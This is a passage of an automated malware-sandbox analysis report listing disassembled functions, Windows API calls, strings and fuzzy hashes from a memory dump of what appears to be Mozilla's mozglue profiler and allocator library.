_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CADF598), ref: 6CADF621

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADF637
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF645
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CADF62A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 309776b3ac5c6c477981a216ad3cbcb48154ed1d9b0f114e1966721bc234738a
Instruction ID: 12f8b8525e852702d4bf4ea79d0b0d34f76d6b17b5e3a455ced689d19e6b1bdb
Opcode Fuzzy Hash: 309776b3ac5c6c477981a216ad3cbcb48154ed1d9b0f114e1966721bc234738a
Instruction Fuzzy Hash: A81106B6305204AFDB04AF69C9499E67BB9FF8636DB150419FA05C3F01CB71B865CBA0

Function 6CAA1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CAA1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CAA1FFD
__Init_thread_footer.LIBCMT ref: 6CAA2011
FreeLibrary.KERNEL32 ref: 6CAA2059

Strings

CoCreateInstance, xrefs: 6CAA1FF7
combase.dll, xrefs: 6CAA1FD9

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a8c235b5ca5075983b520e8978fbcb0e84a725c0fbdbd00b5d37c74162a507d6
Instruction ID: 11c7a966625ec68c0e95e5f4a9c44d85f358bd43073f081cdfcb81499f51eea6
Opcode Fuzzy Hash: a8c235b5ca5075983b520e8978fbcb0e84a725c0fbdbd00b5d37c74162a507d6
Instruction Fuzzy Hash: 8D114FB9605244AFDF10CF56C94FE9A3B79EB46365F044129E90983E40E7319C51CFA1

Function 6CAA0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACAB89: EnterCriticalSection.KERNEL32(6CB1E370,?,?,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284), ref: 6CACAB94
Part of subcall function 6CACAB89: LeaveCriticalSection.KERNEL32(6CB1E370,?,6CA934DE,6CB1F6CC,?,?,?,?,?,?,?,6CA93284,?,?,6CAB56F6), ref: 6CACABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CACD9F0,00000000), ref: 6CAA0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CAA0F3C
__Init_thread_footer.LIBCMT ref: 6CAA0F50
FreeLibrary.KERNEL32(?,6CACD9F0,00000000), ref: 6CAA0F86

Strings

CoInitializeEx, xrefs: 6CAA0F36
combase.dll, xrefs: 6CAA0F18

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 4659cac769c1eb60cdbf97eac3693f608f345c5fd89863b6817f924d952bb97a
Instruction ID: 646d5327600877ef656401463f91fddca17b9118911751a58a04ddee3c3359f6
Opcode Fuzzy Hash: 4659cac769c1eb60cdbf97eac3693f608f345c5fd89863b6817f924d952bb97a
Instruction Fuzzy Hash: 5F118275705280DBDF00CF98CA1AE5A3BB5EB4A325F044629E906A3F40D731EC46CB55

Function 6CADF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CADF561

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADF577
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF585
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8), ref: 6CADF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CADF56A
[I %d/%d] profiler_resume, xrefs: 6CADF239
[I %d/%d] profiler_pause_sampling, xrefs: 6CADF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CADF499

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 9ca1a96322e7bd414ec32f073fc73080819979ff37735d8d7d05ca6a470721ca
Instruction ID: 5cb48c7b91c06749eff8d5067554196ecef3661abf126559d8ce7659a015f6f1
Opcode Fuzzy Hash: 9ca1a96322e7bd414ec32f073fc73080819979ff37735d8d7d05ca6a470721ca
Instruction Fuzzy Hash: 01F0B4F62002009FEE006B659C4AA6A7BBCEB862ADF010415FA05C3F02DB719805C760

Function 6CADF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD9482
Part of subcall function 6CAD9420: __Init_thread_footer.LIBCMT ref: 6CAD949F

GetCurrentThreadId.KERNEL32 ref: 6CADF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CADF598), ref: 6CADF621

Part of subcall function 6CAD94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAD94EE
Part of subcall function 6CAD94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAD9508

GetCurrentThreadId.KERNEL32 ref: 6CADF637
AcquireSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF645
ReleaseSRWLockExclusive.KERNEL32(6CB1F4B8,?,?,00000000,?,6CADF598), ref: 6CADF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CADF62A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: e4f8b0df96f45965506266da9b60a360218aea636ec710a1fc567d99813634a8
Instruction ID: e9a294dcc4b589828f6181d22fc08fb0aefb8a950bb9cb6a990e5601eaf0a355
Opcode Fuzzy Hash: e4f8b0df96f45965506266da9b60a360218aea636ec710a1fc567d99813634a8
Instruction Fuzzy Hash: 06F054B6200244AFEE006B659C4AA9A7BBDEB862ADF050415FA05C3F42DB755805C765

Function 6CAA0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CAA0DF8), ref: 6CAA0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CAA0EA1
__Init_thread_footer.LIBCMT ref: 6CAA0EB5
FreeLibrary.KERNEL32 ref: 6CAA0EC5

Strings

kernel32.dll, xrefs: 6CAA0E7D
GetProcessMitigationPolicy, xrefs: 6CAA0E9B

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: dfcdd954402fe779cf5c31bed13f22428ce7ad89afbc3026bd5b0d5bfd57cbf5
Instruction ID: e0e19f4c0d1fea3216961b63c649303241aee543c0626feecacc075f0f71229e
Opcode Fuzzy Hash: dfcdd954402fe779cf5c31bed13f22428ce7ad89afbc3026bd5b0d5bfd57cbf5
Instruction Fuzzy Hash: C00146B97002C18BDF108FE8D95AA5277B6E727328F144529D92683F60DB30A889DA02

Function 6CAD05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CACCFAE,?,?,?,6CA931A7), ref: 6CAD05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CACCFAE,?,?,?,6CA931A7), ref: 6CAD0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA931A7), ref: 6CAD061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA931A7), ref: 6CAD0627

Strings

<jemalloc>, xrefs: 6CAD05FA, 6CAD060F
: (malloc) Error in VirtualFree(), xrefs: 6CAD061B, 6CAD0625

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: fd340b16cf3874ac36d5fbefce059c78c26a1f6a9c1ec97e6a758a1d67561d86
Instruction ID: 7cbb4b77949d28c97beb16ecc22c8382f3ec9559d06c23d56b3e86e47a9cd024
Opcode Fuzzy Hash: fd340b16cf3874ac36d5fbefce059c78c26a1f6a9c1ec97e6a758a1d67561d86
Instruction Fuzzy Hash: F7E08CE2A1105037F5142256AC86EBB7A1CEBC6134F080039FD0D83301EA5AAD1A51F7

Function 6CAA05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73eaf3d9f0f67a648ff8e17dbb435bfbb1812d728fe3a1b775bc348ec0390180
Instruction ID: 99df08bf13873c56fe910b1b55b9f6bb4fff346ae51c951b3d821bfc4ff0c61d
Opcode Fuzzy Hash: 73eaf3d9f0f67a648ff8e17dbb435bfbb1812d728fe3a1b775bc348ec0390180
Instruction Fuzzy Hash: B4A148B0A01645CFDB14CF69C594A9AFBF1BF49304F44866ED44A97B00E770A98ACF90

Function 6CAF14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAF14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAF14E2
GetCurrentThreadId.KERNEL32 ref: 6CAF1546
InitializeConditionVariable.KERNEL32(?), ref: 6CAF15BA
free.MOZGLUE(?), ref: 6CAF16B4

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: af3bf291d785dcc956ce3d1614f13cb1b028c6002db6cfef4f91c6eab8c7d9dc
Instruction ID: 5be485914b5b60af5b00cff555075daeb40d26aa0aec4cf4669608aa457d8eb3
Opcode Fuzzy Hash: af3bf291d785dcc956ce3d1614f13cb1b028c6002db6cfef4f91c6eab8c7d9dc
Instruction Fuzzy Hash: 8761F1B2A007449BDB118F20D980BEEB7B5BF89308F04851CFE9A57701DB35E989CB91

Function 6CAE9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAE9FDB
free.MOZGLUE(?,?), ref: 6CAE9FF0
free.MOZGLUE(?,?), ref: 6CAEA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAEA0BE
free.MOZGLUE(?,?), ref: 6CAEA0D5
free.MOZGLUE(?,?), ref: 6CAEA0EB

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6eb7721d951c4eaf382a9917aead08ea06e0b32b73f11437f39836eebd89d0f7
Instruction ID: 32a338ce5bbfeacb20956f9f0ee90e125ff46e62b2f50f57ac5da631625a24ca
Opcode Fuzzy Hash: 6eb7721d951c4eaf382a9917aead08ea06e0b32b73f11437f39836eebd89d0f7
Instruction Fuzzy Hash: 356191755087419FC712CF18C58059AB7F5FF88328F548659E8999BB02E732E9CACBC1

Function 6CAEDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAEDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CAED38A,?), ref: 6CAEDC6F
free.MOZGLUE(?,?,?,?,?,6CAED38A,?), ref: 6CAEDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CAED38A,?), ref: 6CAEDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CAED38A,?), ref: 6CAEDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CAED38A,?), ref: 6CAEDD4A

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: f005d730ff9b41bd75bffc1352d355c46f0f5752656ce7b5396efa80dffa3d06
Instruction ID: cab10a4c589e45dfaf0f3e12f82e2c69a63c1933378b835716d60d73e97f24b8
Opcode Fuzzy Hash: f005d730ff9b41bd75bffc1352d355c46f0f5752656ce7b5396efa80dffa3d06
Instruction Fuzzy Hash: A14125B5A002158FCB00CFA9C98099AB7B6FF8D314B554569D945ABB11D771FC44CBD0

Function 6CAD6590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CACFA80: GetCurrentThreadId.KERNEL32 ref: 6CACFA8D
Part of subcall function 6CACFA80: AcquireSRWLockExclusive.KERNEL32(6CB1F448), ref: 6CACFA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAD6727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CAD67C8

Part of subcall function 6CAE4290: memcpy.VCRUNTIME140(?,?,6CAF2003,6CAF0AD9,?,6CAF0AD9,00000000,?,6CAF0AD9,?,00000004,?,6CAF1A62,?,6CAF2003,?), ref: 6CAE42C4

Strings

data, xrefs: 6CAD6593

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4bff0cc6f5211f000099a319d98ed68d9c26c2ff0b4f3588176199cb899a2b74
Instruction ID: 20d2209ca23542407ebd062e7bc3db51b94b4daf894acc4ad1297b834f940f95
Opcode Fuzzy Hash: 4bff0cc6f5211f000099a319d98ed68d9c26c2ff0b4f3588176199cb899a2b74
Instruction Fuzzy Hash: F7D1D075A083408FD724CF64D951BAFBBF5AFD5308F14492DE48987B91DB30A889CB92

Function 6CACD5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA9EB57,?,?,?,?,?,?,?,?,?), ref: 6CACD652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA9EB57,?), ref: 6CACD660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA9EB57,?), ref: 6CACD673
free.MOZGLUE(?), ref: 6CACD888

Strings

|Enabled, xrefs: 6CACD81E

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: d6d67af1dd59e2f73acecad6faf2a078616b29e629e5cc526e96b67d175ca104
Instruction ID: 14c25219c02ee3d92b81a5878d26e4a494a610144e7f86f24d91eab6f273dd64
Opcode Fuzzy Hash: d6d67af1dd59e2f73acecad6faf2a078616b29e629e5cc526e96b67d175ca104
Instruction Fuzzy Hash: FDA1E3B0F043448FDB01CF69C4D46AEBBF1AF49318F18805CD8996BB41D735A889CBA2

Function 6CACF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CACF480

Part of subcall function 6CA9F100: LoadLibraryW.KERNEL32(shell32,?,6CB0D020), ref: 6CA9F122
Part of subcall function 6CA9F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA9F132

CloseHandle.KERNEL32(00000000), ref: 6CACF555

Part of subcall function 6CAA14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA1248,6CAA1248,?), ref: 6CAA14C9
Part of subcall function 6CAA14B0: memcpy.VCRUNTIME140(?,6CAA1248,00000000,?,6CAA1248,?), ref: 6CAA14EF

Part of subcall function 6CA9EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA9EEE3

CreateFileW.KERNEL32 ref: 6CACF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CACF523

Strings

\oleacc.dll, xrefs: 6CACF4CB

Memory Dump Source

Source File: 00000000.00000002.2653407442.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2653374778.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653484817.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653522546.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2653554475.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 89b1bd3ea5bfc03c6d2c1109bb201597705e7d0234bcccf9a9c05e33b51845bb
Instruction ID: 3b72032b3463eb5ec7c4ce0bd75b3f418d53b407d04b510cceda459978fa34cd
Opcode Fuzzy Hash: 89b1bd3ea5bfc03c6d2c1109bb201597705e7d0234bcccf9a9c05e33b51845bb
Instruction Fuzzy Hash: 4A41BF707187549FE720DF69CD85A9AB7F4AF45318F500A1CF69483650EB30EA89CB92

Function 6CADE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAA4A68), ref: 6CAD945E
Part of subcall function 6CAD9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD9470
